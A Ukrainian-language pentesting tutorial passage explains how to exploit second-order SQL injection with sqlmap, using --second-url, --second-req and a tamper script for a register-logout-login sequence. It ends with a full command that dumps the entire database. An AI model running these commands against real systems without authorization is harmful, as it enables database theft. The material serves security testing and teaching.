SQLMap може експлуатувати другорядні SQLi.
Вам потрібно надати:
запит, в якому буде збережено payload SQL-ін'єкції
запит, в якому payload буде виконано
Запит, в якому зберігається payload SQL-ін'єкції, вказується так само, як і в будь-якій іншій ін'єкції в sqlmap. Запит, в якому sqlmap може прочитати вихідні дані/виконання ін'єкції, можна вказати за допомогою --second-url або --second-req, якщо потрібно вказати повний запит з файлу.
Простий приклад другого порядку:
#Get the SQL payload execution with a GET to a urlsqlmap-rlogin.txt-pusername--second-url"http://10.10.10.10/details.php"#Get the SQL payload execution sending a custom request from a filesqlmap-rlogin.txt-pusername--second-reqdetails.txt
В кількох випадках цього буде недостатньо, оскільки вам потрібно буде виконати інші дії окрім відправлення payload і доступу до іншої сторінки.
Коли це потрібно, ви можете використовувати sqlmap tamper. Наприклад, наступний скрипт зареєструє нового користувача використовуючи sqlmap payload як електронну пошту і вийде з системи.
A SQLMap tamper завжди виконується перед початком спроби ін'єкції з корисним навантаженнямі він повинен повернути корисне навантаження. У цьому випадку нас не цікавить корисне навантаження, але нас цікавить надсилання деяких запитів, тому корисне навантаження не змінюється.
Отже, якщо з якоїсь причини нам потрібен більш складний процес для експлуатації другої ін'єкції SQL, як-от:
Створити обліковий запис з SQLi корисним навантаженням у полі "email"
Вийти
Увійти з цим обліковим записом (login.txt)
Надіслати запит для виконання SQL ін'єкції (second.txt)
Ця команда sqlmap допоможе:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########### --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload# -r login.txt : Indicates the request to send the SQLi payload# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt# --second-req second.txt : Request to send to execute the SQLi and get the ouput# --proxy http://127.0.0.1:8080 : Use this proxy# --technique=U : Help sqlmap indicating the technique to use# --dbms mysql : Help sqlmap indicating the dbms# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln# -a : Dump all